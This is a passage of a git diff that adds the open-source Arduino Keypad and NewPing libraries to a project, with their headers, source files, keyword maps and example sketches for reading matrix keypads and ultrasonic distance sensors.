alexanderbrevig@gmail.com + || + || @description + || | Demonstrates using the KeypadEvent. + || # + */ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; + +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); +byte ledPin = 13; + +boolean blink = false; +boolean ledPin_state; + +void setup(){ + Serial.begin(9600); + pinMode(ledPin, OUTPUT); // Sets the digital pin as output. + digitalWrite(ledPin, HIGH); // Turn the LED on. + ledPin_state = digitalRead(ledPin); // Store initial LED state. HIGH when LED is on. + keypad.addEventListener(keypadEvent); // Add an event listener for this keypad +} + +void loop(){ + char key = keypad.getKey(); + + if (key) { + Serial.println(key); + } + if (blink){ + digitalWrite(ledPin,!digitalRead(ledPin)); // Change the ledPin from Hi2Lo or Lo2Hi. + delay(100); + } +} + +// Taking care of some special events. +void keypadEvent(KeypadEvent key){ + switch (keypad.getState()){ + case PRESSED: + if (key == '#') { + digitalWrite(ledPin,!digitalRead(ledPin)); + ledPin_state = digitalRead(ledPin); // Remember LED state, lit or unlit. + } + break; + + case RELEASED: + if (key == '*') { + digitalWrite(ledPin,ledPin_state); // Restore LED state from before it started blinking. + blink = false; + } + break; + + case HOLD: + if (key == '*') { + blink = true; // Blink the LED when holding the * key. + } + break; + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino new file mode 100755 index 0000000..6138bff --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino @@ -0,0 +1,35 @@ +/* @file HelloKeypad.pde +|| @version 1.0 +|| @author Alexander Brevig +|| @contact alexanderbrevig@gmail.com +|| +|| @description +|| | Demonstrates the simplest use of the matrix Keypad library. +|| # +*/ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + char key = keypad.getKey(); + + if (key){ + Serial.println(key); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino new file mode 100755 index 0000000..5605b72 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino @@ -0,0 +1,68 @@ +#include + + +const byte ROWS = 2; // use 4X4 keypad for both instances +const byte COLS = 2; +char keys[ROWS][COLS] = { + {'1','2'}, + {'3','4'} +}; +byte rowPins[ROWS] = {5, 4}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {7, 6}; //connect to the column pinouts of the keypad +Keypad kpd( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + + +const byte ROWSR = 2; +const byte COLSR = 2; +char keysR[ROWSR][COLSR] = { + {'a','b'}, + {'c','d'} +}; +byte rowPinsR[ROWSR] = {3, 2}; //connect to the row pinouts of the keypad +byte colPinsR[COLSR] = {7, 6}; //connect to the column pinouts of the keypad +Keypad kpdR( makeKeymap(keysR), rowPinsR, colPinsR, ROWSR, COLSR ); + + +const byte ROWSUR = 4; +const byte COLSUR = 1; +char keysUR[ROWSUR][COLSUR] = { + {'M'}, + {'A'}, + {'R'}, + {'K'} +}; +// Digitran keypad, bit numbers of PCF8574 i/o port +byte rowPinsUR[ROWSUR] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPinsUR[COLSUR] = {8}; //connect to the column pinouts of the keypad + +Keypad kpdUR( makeKeymap(keysUR), rowPinsUR, colPinsUR, ROWSUR, COLSUR ); + + +void setup(){ +// Wire.begin( ); + kpdUR.begin( makeKeymap(keysUR) ); + kpdR.begin( makeKeymap(keysR) ); + kpd.begin( makeKeymap(keys) ); + Serial.begin(9600); + Serial.println( "start" ); +} + +//byte alternate = false; +char key, keyR, keyUR; +void loop(){ + +// alternate = !alternate; + key = kpd.getKey( ); + keyUR = kpdUR.getKey( ); + keyR = kpdR.getKey( ); + + if (key){ + Serial.println(key); + } + if( keyR ) { + Serial.println( keyR ); + } + if( keyUR ) { + Serial.println( keyUR ); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino b/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino new file mode 100755 index 0000000..850dc1a --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/MultiKey/MultiKey.ino @@ -0,0 +1,78 @@ +/* @file MultiKey.ino +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | The latest version, 3.0, of the keypad library supports up to 10 +|| | active keys all being pressed at the same time. This sketch is an +|| | example of how you can get multiple key presses from a keypad or +|| | keyboard. +|| # +*/ + +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { +{'1','2','3'}, +{'4','5','6'}, +{'7','8','9'}, +{'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the kpd +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the kpd + +Keypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +unsigned long loopCount; +unsigned long startTime; +String msg; + + +void setup() { + Serial.begin(9600); + loopCount = 0; + startTime = millis(); + msg = ""; +} + + +void loop() { + loopCount++; + if ( (millis()-startTime)>5000 ) { + Serial.print("Average loops per second = "); + Serial.println(loopCount/5); + startTime = millis(); + loopCount = 0; + } + + // Fills kpd.key[ ] array with up-to 10 active keys. + // Returns true if there are ANY active keys. + if (kpd.getKeys()) + { + for (int i=0; i + + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +unsigned long loopCount = 0; +unsigned long timer_t = 0; + +void setup(){ + Serial.begin(9600); + + // Try playing with different debounceTime settings to see how it affects + // the number of times per second your loop will run. The library prevents + // setting it to anything below 1 millisecond. + kpd.setDebounceTime(10); // setDebounceTime(mS) +} + +void loop(){ + char key = kpd.getKey(); + + // Report the number of times through the loop in 1 second. This will give + // you a relative idea of just how much the debounceTime has changed the + // speed of your code. If you set a high debounceTime your loopCount will + // look good but your keypresses will start to feel sluggish. + if ((millis() - timer_t) > 1000) { + Serial.print("Your loop code ran "); + Serial.print(loopCount); + Serial.println(" times over the last second"); + loopCount = 0; + timer_t = millis(); + } + loopCount++; + if(key) + Serial.println(key); +} diff --git a/Projects/libraries/Installed_libs/Keypad/keywords.txt b/Projects/libraries/Installed_libs/Keypad/keywords.txt new file mode 100755 index 0000000..e400940 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/keywords.txt @@ -0,0 +1,38 @@ +# Keypad Library data types +KeyState KEYWORD1 +Keypad KEYWORD1 +KeypadEvent KEYWORD1 + +# Keypad Library constants +NO_KEY LITERAL1 +IDLE LITERAL1 +PRESSED LITERAL1 +HOLD LITERAL1 +RELEASED LITERAL1 + +# Keypad Library methods & functions +addEventListener KEYWORD2 +bitMap KEYWORD2 +findKeyInList KEYWORD2 +getKey KEYWORD2 +getKeys KEYWORD2 +getState KEYWORD2 +holdTimer KEYWORD2 +isPressed KEYWORD2 +keyStateChanged KEYWORD2 +numKeys KEYWORD2 +pin_mode KEYWORD2 +pin_write KEYWORD2 +pin_read KEYWORD2 +setDebounceTime KEYWORD2 +setHoldTime KEYWORD2 +waitForKey KEYWORD2 + +# this is a macro that converts 2d arrays to pointers +makeKeymap KEYWORD2 + +# List of objects created in the example sketches. +kpd KEYWORD3 +keypad KEYWORD3 +kbrd KEYWORD3 +keyboard KEYWORD3 diff --git a/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp b/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp new file mode 100755 index 0000000..4c9718d --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/utility/Key.cpp @@ -0,0 +1,61 @@ +/* +|| @file Key.cpp +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | Key class provides an abstract definition of a key or button +|| | and was initially designed to be used in conjunction with a +|| | state-machine. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ +#include + + +// default constructor +Key::Key() { + kchar = NO_KEY; + kstate = IDLE; + stateChanged = false; +} + +// constructor +Key::Key(char userKeyChar) { + kchar = userKeyChar; + kcode = -1; + kstate = IDLE; + stateChanged = false; +} + + +void Key::key_update (char userKeyChar, KeyState userState, boolean userStatus) { + kchar = userKeyChar; + kstate = userState; + stateChanged = userStatus; +} + + + +/* +|| @changelog +|| | 1.0 2012-06-04 - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/Keypad/utility/Key.h b/Projects/libraries/Installed_libs/Keypad/utility/Key.h new file mode 100755 index 0000000..140f8da --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/utility/Key.h @@ -0,0 +1,73 @@ +/* +|| +|| @file Key.h +|| @version 1.0 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| @description +|| | Key class provides an abstract definition of a key or button +|| | and was initially designed to be used in conjunction with a +|| | state-machine. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ + +#ifndef KEY_H +#define KEY_H + +// Arduino versioning. +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" // for digitalRead, digitalWrite, etc +#else +#include "WProgram.h" +#endif + +#define OPEN LOW +#define CLOSED HIGH + +typedef unsigned int uint; +typedef enum{ IDLE, PRESSED, HOLD, RELEASED } KeyState; + +const char NO_KEY = '\0'; + +class Key { +public: + // members + char kchar; + int kcode; + KeyState kstate; + boolean stateChanged; + + // methods + Key(); + Key(char userKeyChar); + void key_update(char userKeyChar, KeyState userState, boolean userStatus); + +private: + +}; + +#endif + +/* +|| @changelog +|| | 1.0 2012-06-04 - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/NewPing/NewPing.cpp b/Projects/libraries/Installed_libs/NewPing/NewPing.cpp new file mode 100755 index 0000000..edf0135 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/NewPing.cpp @@ -0,0 +1,231 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2012 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "NewPing.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "NewPing.h" + + +// --------------------------------------------------------------------------- +// NewPing constructor +// --------------------------------------------------------------------------- + +NewPing::NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance) { + _triggerBit = digitalPinToBitMask(trigger_pin); // Get the port register bitmask for the trigger pin. + _echoBit = digitalPinToBitMask(echo_pin); // Get the port register bitmask for the echo pin. + + _triggerOutput = portOutputRegister(digitalPinToPort(trigger_pin)); // Get the output port register for the trigger pin. + _echoInput = portInputRegister(digitalPinToPort(echo_pin)); // Get the input port register for the echo pin. + + _triggerMode = (uint8_t *) portModeRegister(digitalPinToPort(trigger_pin)); // Get the port mode register for the trigger pin. + + _maxEchoTime = min(max_cm_distance, MAX_SENSOR_DISTANCE) * US_ROUNDTRIP_CM + (US_ROUNDTRIP_CM / 2); // Calculate the maximum distance in uS. + +#if DISABLE_ONE_PIN == true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif +} + + +// --------------------------------------------------------------------------- +// Standard ping methods +// --------------------------------------------------------------------------- + +unsigned int NewPing::ping() { + if (!ping_trigger()) return NO_ECHO; // Trigger a ping, if it returns false, return NO_ECHO to the calling function. + while (*_echoInput & _echoBit) // Wait for the ping echo. + if (micros() > _max_time) return NO_ECHO; // Stop the loop and return NO_ECHO (false) if we're beyond the set maximum distance. + return (micros() - (_max_time - _maxEchoTime) - 5); // Calculate ping time, 5uS of overhead. +} + + +unsigned int NewPing::ping_in() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_IN); // Convert uS to inches. +} + + +unsigned int NewPing::ping_cm() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_CM); // Convert uS to centimeters. +} + + +unsigned int NewPing::ping_median(uint8_t it) { + unsigned int uS[it], last; + uint8_t j, i = 0; + uS[0] = NO_ECHO; + while (i < it) { + last = ping(); // Send ping. + if (last == NO_ECHO) { // Ping out of range. + it--; // Skip, don't include as part of median. + last = _maxEchoTime; // Adjust "last" variable so delay is correct length. + } else { // Ping in range, include as part of median. + if (i > 0) { // Don't start sort till second ping. + for (j = i; j > 0 && uS[j - 1] < last; j--) // Insertion sort loop. + uS[j] = uS[j - 1]; // Shift ping array to correct position for sort insertion. + } else j = 0; // First ping is starting point for sort. + uS[j] = last; // Add last ping to array in sorted position. + i++; // Move to next ping. + } + if (i < it) delay(PING_MEDIAN_DELAY - (last >> 10)); // Millisecond delay between pings. + } + return (uS[it >> 1]); // Return the ping distance median. +} + + +// --------------------------------------------------------------------------- +// Standard ping method support functions (not called directly) +// --------------------------------------------------------------------------- + +boolean NewPing::ping_trigger() { +#if DISABLE_ONE_PIN != true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif + *_triggerOutput &= ~_triggerBit; // Set the trigger pin low, should already be low, but this will make sure it is. + delayMicroseconds(4); // Wait for pin to go low, testing shows it needs 4uS to work every time. + *_triggerOutput |= _triggerBit; // Set trigger pin high, this tells the sensor to send out a ping. + delayMicroseconds(10); // Wait long enough for the sensor to realize the trigger pin is high. Sensor specs say to wait 10uS. + *_triggerOutput &= ~_triggerBit; // Set trigger pin back to low. +#if DISABLE_ONE_PIN != true + *_triggerMode &= ~_triggerBit; // Set trigger pin to input (when using one Arduino pin this is technically setting the echo pin to input as both are tied to the same Arduino pin). +#endif + + _max_time = micros() + MAX_SENSOR_DELAY; // Set a timeout for the ping to trigger. + while (*_echoInput & _echoBit && micros() <= _max_time) {} // Wait for echo pin to clear. + while (!(*_echoInput & _echoBit)) // Wait for ping to start. + if (micros() > _max_time) return false; // Something went wrong, abort. + + _max_time = micros() + _maxEchoTime; // Ping started, set the timeout. + return true; // Ping started successfully. +} + + +// --------------------------------------------------------------------------- +// Timer interrupt ping methods (won't work with ATmega8 and ATmega128) +// --------------------------------------------------------------------------- + +void NewPing::ping_timer(void (*userFunc)(void)) { + if (!ping_trigger()) return; // Trigger a ping, if it returns false, return without starting the echo timer. + timer_us(ECHO_TIMER_FREQ, userFunc); // Set ping echo timer check every ECHO_TIMER_FREQ uS. +} + + +boolean NewPing::check_timer() { + if (micros() > _max_time) { // Outside the timeout limit. + timer_stop(); // Disable timer interrupt + return false; // Cancel ping timer. + } + + if (!(*_echoInput & _echoBit)) { // Ping echo received. + timer_stop(); // Disable timer interrupt + ping_result = (micros() - (_max_time - _maxEchoTime) - 13); // Calculate ping time, 13uS of overhead. + return true; // Return ping echo true. + } + + return false; // Return false because there's no ping echo yet. +} + + +// --------------------------------------------------------------------------- +// Timer2/Timer4 interrupt methods (can be used for non-ultrasonic needs) +// --------------------------------------------------------------------------- + +// Variables used for timer functions +void (*intFunc)(); +void (*intFunc2)(); +unsigned long _ms_cnt_reset; +volatile unsigned long _ms_cnt; + + +void NewPing::timer_us(unsigned int frequency, void (*userFunc)(void)) { + timer_setup(); // Configure the timer interrupt. + intFunc = userFunc; // User's function to call when there's a timer event. + +#if defined (__AVR_ATmega32U4__) // Use Timer4 for ATmega32U4 (Teensy/Leonardo). + OCR4C = min((frequency>>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK4 = (1<>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK2 |= (1<= 100 + #include +#else + #include + #include +#endif + +#include +#include + +// Shoudln't need to changed these values unless you have a specific need to do so. +#define MAX_SENSOR_DISTANCE 500 // Maximum sensor distance can be as high as 500cm, no reason to wait for ping longer than sound takes to travel this distance and back. +#define US_ROUNDTRIP_IN 146 // Microseconds (uS) it takes sound to travel round-trip 1 inch (2 inches total), uses integer to save compiled code space. +#define US_ROUNDTRIP_CM 57 // Microseconds (uS) it takes sound to travel round-trip 1cm (2cm total), uses integer to save compiled code space. +#define DISABLE_ONE_PIN false // Set to "true" to save up to 26 bytes of compiled code space if you're not using one pin sensor connections. + +// Probably shoudln't change these values unless you really know what you're doing. +#define NO_ECHO 0 // Value returned if there's no ping echo within the specified MAX_SENSOR_DISTANCE or max_cm_distance. +#define MAX_SENSOR_DELAY 18000 // Maximum uS it takes for sensor to start the ping (SRF06 is the highest measured, just under 18ms). +#define ECHO_TIMER_FREQ 24 // Frequency to check for a ping echo (every 24uS is about 0.4cm accuracy). +#define PING_MEDIAN_DELAY 29 // Millisecond delay between pings in the ping_median method. + +// Conversion from uS to distance (round result to nearest cm or inch). +#define NewPingConvert(echoTime, conversionFactor) (max((echoTime + conversionFactor / 2) / conversionFactor, (echoTime ? 1 : 0))) + + +class NewPing { + public: + NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance = MAX_SENSOR_DISTANCE); + unsigned int ping(); + unsigned int ping_in(); + unsigned int ping_cm(); + unsigned int ping_median(uint8_t it = 5); + unsigned int convert_in(unsigned int echoTime); + unsigned int convert_cm(unsigned int echoTime); + void ping_timer(void (*userFunc)(void)); + boolean check_timer(); + unsigned long ping_result; + static void timer_us(unsigned int frequency, void (*userFunc)(void)); + static void timer_ms(unsigned long frequency, void (*userFunc)(void)); + static void timer_stop(); + private: + boolean ping_trigger(); + boolean ping_wait_timer(); + uint8_t _triggerBit; + uint8_t _echoBit; + volatile uint8_t *_triggerOutput; + volatile uint8_t *_triggerMode; + volatile uint8_t *_echoInput; + unsigned int _maxEchoTime; + unsigned long _max_time; + static void timer_setup(); + static void timer_ms_cntdwn(); +}; + + +#endif \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde b/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde new file mode 100755 index 0000000..9af1f6c --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPing15Sensors/NewPing15Sensors.pde @@ -0,0 +1,74 @@ +// --------------------------------------------------------------------------- +// This example code was used to successfully communicate with 15 ultrasonic sensors. You can adjust +// the number of sensors in your project by changing SONAR_NUM and the number of NewPing objects in the +// "sonar" array. You also need to change the pins for each sensor for the NewPing objects. Each sensor +// is pinged at 33ms intervals. So, one cycle of all sensors takes 495ms (33 * 15 = 495ms). The results +// are sent to the "oneSensorCycle" function which currently just displays the distance data. Your project +// would normally process the sensor results in this function (for example, decide if a robot needs to +// turn and call the turn function). Keep in mind this example is event-driven. Your complete sketch needs +// to be written so there's no "delay" commands and the loop() cycles at faster than a 33ms rate. If other +// processes take longer than 33ms, you'll need to increase PING_INTERVAL so it doesn't get behind. +// --------------------------------------------------------------------------- +#include + +#define SONAR_NUM 15 // Number or sensors. +#define MAX_DISTANCE 200 // Maximum distance (in cm) to ping. +#define PING_INTERVAL 33 // Milliseconds between sensor pings (29ms is about the min to avoid cross-sensor echo). + +unsigned long pingTimer[SONAR_NUM]; // Holds the times when the next ping should happen for each sensor. +unsigned int cm[SONAR_NUM]; // Where the ping distances are stored. +uint8_t currentSensor = 0; // Keeps track of which sensor is active. + +NewPing sonar[SONAR_NUM] = { // Sensor object array. + NewPing(41, 42, MAX_DISTANCE), // Each sensor's trigger pin, echo pin, and max distance to ping. + NewPing(43, 44, MAX_DISTANCE), + NewPing(45, 20, MAX_DISTANCE), + NewPing(21, 22, MAX_DISTANCE), + NewPing(23, 24, MAX_DISTANCE), + NewPing(25, 26, MAX_DISTANCE), + NewPing(27, 28, MAX_DISTANCE), + NewPing(29, 30, MAX_DISTANCE), + NewPing(31, 32, MAX_DISTANCE), + NewPing(34, 33, MAX_DISTANCE), + NewPing(35, 36, MAX_DISTANCE), + NewPing(37, 38, MAX_DISTANCE), + NewPing(39, 40, MAX_DISTANCE), + NewPing(50, 51, MAX_DISTANCE), + NewPing(52, 53, MAX_DISTANCE) +}; + +void setup() { + Serial.begin(115200); + pingTimer[0] = millis() + 75; // First ping starts at 75ms, gives time for the Arduino to chill before starting. + for (uint8_t i = 1; i < SONAR_NUM; i++) // Set the starting time for each sensor. + pingTimer[i] = pingTimer[i - 1] + PING_INTERVAL; +} + +void loop() { + for (uint8_t i = 0; i < SONAR_NUM; i++) { // Loop through all the sensors. + if (millis() >= pingTimer[i]) { // Is it this sensor's time to ping? + pingTimer[i] += PING_INTERVAL * SONAR_NUM; // Set next time this sensor will be pinged. + if (i == 0 && currentSensor == SONAR_NUM - 1) oneSensorCycle(); // Sensor ping cycle complete, do something with the results. + sonar[currentSensor].timer_stop(); // Make sure previous timer is canceled before starting a new ping (insurance). + currentSensor = i; // Sensor being accessed. + cm[currentSensor] = 0; // Make distance zero in case there's no ping echo for this sensor. + sonar[currentSensor].ping_timer(echoCheck); // Do the ping (processing continues, interrupt will call echoCheck to look for echo). + } + } + // The rest of your code would go here. +} + +void echoCheck() { // If ping received, set the sensor distance to array. + if (sonar[currentSensor].check_timer()) + cm[currentSensor] = sonar[currentSensor].ping_result / US_ROUNDTRIP_CM; +} + +void oneSensorCycle() { // Sensor ping cycle complete, do something with the results. + for (uint8_t i = 0; i < SONAR_NUM; i++) { + Serial.print(i); + Serial.print("="); + Serial.print(cm[i]); + Serial.print("cm "); + } + Serial.println(); +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde b/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde new file mode 100755 index 0000000..a469c37 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPingEventTimer/NewPingEventTimer.pde @@ -0,0 +1,46 @@ +// --------------------------------------------------------------------------- +// This example shows how to use NewPing's ping_timer method which uses the Timer2 interrupt to get the +// ping time. The advantage of using this method over the standard ping method is that it permits a more +// event-driven sketch which allows you to appear to do two things at once. An example would be to ping +// an ultrasonic sensor for a possible collision while at the same time navigating. This allows a +// properly developed sketch to multitask. Be aware that because the ping_timer method uses Timer2, +// other features or libraries that also use Timer2 would be effected. For example, the PWM function on +// pins 3 & 11 on Arduino Uno (pins 9 and 11 on Arduino Mega) and the Tone library. Note, only the PWM +// functionality of the pins is lost (as they use Timer2 to do PWM), the pins are still available to use. +// NOTE: For Teensy/Leonardo (ATmega32U4) the library uses Timer4 instead of Timer2. +// --------------------------------------------------------------------------- +#include + +#define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on ping sensor. +#define ECHO_PIN 11 // Arduino pin tied to echo pin on ping sensor. +#define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. + +NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. + +unsigned int pingSpeed = 50; // How frequently are we going to send out a ping (in milliseconds). 50ms would be 20 times a second. +unsigned long pingTimer; // Holds the next ping time. + +void setup() { + Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. + pingTimer = millis(); // Start now. +} + +void loop() { + // Notice how there's no delays in this sketch to allow you to do other processing in-line while doing distance pings. + if (millis() >= pingTimer) { // pingSpeed milliseconds since last ping, do another ping. + pingTimer += pingSpeed; // Set the next ping time. + sonar.ping_timer(echoCheck); // Send out the ping, calls "echoCheck" function every 24uS where you can check the ping status. + } + // Do other stuff here, really. Think of it as multi-tasking. +} + +void echoCheck() { // Timer2 interrupt calls this function every 24uS where you can check the ping status. + // Don't do anything here! + if (sonar.check_timer()) { // This is how you check to see if the ping was received. + // Here's where you can add code. + Serial.print("Ping: "); + Serial.print(sonar.ping_result / US_ROUNDTRIP_CM); // Ping returned, uS result in ping_result, convert to cm with US_ROUNDTRIP_CM. + Serial.println("cm"); + } + // Don't do anything here! +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino b/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino new file mode 100755 index 0000000..42b2739 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/NewPingExample/NewPingExample.ino @@ -0,0 +1,23 @@ +// --------------------------------------------------------------------------- +// Example NewPing library sketch that does a ping about 20 times per second. +// --------------------------------------------------------------------------- + +#include + +#define TRIGGER_PIN 12 // Arduino pin tied to trigger pin on the ultrasonic sensor. +#define ECHO_PIN 11 // Arduino pin tied to echo pin on the ultrasonic sensor. +#define MAX_DISTANCE 200 // Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm. + +NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); // NewPing setup of pins and maximum distance. + +void setup() { + Serial.begin(115200); // Open serial monitor at 115200 baud to see ping results. +} + +void loop() { + delay(50); // Wait 50ms between pings (about 20 pings/sec). 29ms should be the shortest delay between pings. + unsigned int uS = sonar.ping(); // Send ping, get ping time in microseconds (uS). + Serial.print("Ping: "); + Serial.print(uS / US_ROUNDTRIP_CM); // Convert ping time to distance in cm and print result (0 = outside set distance range) + Serial.println("cm"); +} diff --git a/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde b/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde new file mode 100755 index 0000000..ea66039 --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/examples/TimerExample/TimerExample.pde @@ -0,0 +1,25 @@ +// --------------------------------------------------------------------------- +// While the NewPing library's primary goal is to interface with ultrasonic sensors, interfacing with +// the Timer2 interrupt was a result of creating an interrupt-based ping method. Since these Timer2 +// interrupt methods were built, the library may as well provide the functionality to use these methods +// in your sketches. This shows how simple it is (no ultrasonic sensor required). Keep in mind that +// these methods use Timer2, as does NewPing's ping_timer method for using ultrasonic sensors. You +// can't use ping_timer at the same time you're using timer_ms or timer_us as all use the same timer. +// --------------------------------------------------------------------------- + +#include + +#define LED_PIN 13 // Pin with LED attached. + +void setup() { + pinMode(LED_PIN, OUTPUT); + NewPing::timer_ms(500, toggleLED); // Create a Timer2 interrupt that calls toggleLED in your sketch once every 500 milliseconds. +} + +void loop() { + // Do anything here, the Timer2 interrupt will take care of the flashing LED without your intervention. +} + +void toggleLED() { + digitalWrite(LED_PIN, !digitalRead(LED_PIN)); // Toggle the LED. +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/NewPing/keywords.txt b/Projects/libraries/Installed_libs/NewPing/keywords.txt new file mode 100755 index 0000000..9ef581a --- /dev/null +++ b/Projects/libraries/Installed_libs/NewPing/keywords.txt @@ -0,0 +1,29 @@ +################################### +# Syntax Coloring Map For NewPing +################################### + +################################### +# Datatypes (KEYWORD1) +################################### + +NewPing KEYWORD1 + +################################### +# Methods and Functions (KEYWORD2) +################################### + +ping KEYWORD2 +ping_in KEYWORD2 +ping_cm KEYWORD2 +ping_median KEYWORD2 +ping_timer KEYWORD2 +check_timer KEYWORD2 +timer_us KEYWORD2 +timer_ms KEYWORD2 +timer_stop KEYWORD2 +convert_in KEYWORD2 +convert_cm KEYWORD2 + +################################### +# Constants (LITERAL1) +################################### diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore b/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore new file mode 100755 index 0000000..739878c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/.gitignore @@ -0,0 +1,5 @@ +*.pyc +*.cache +*.sublime-workspace 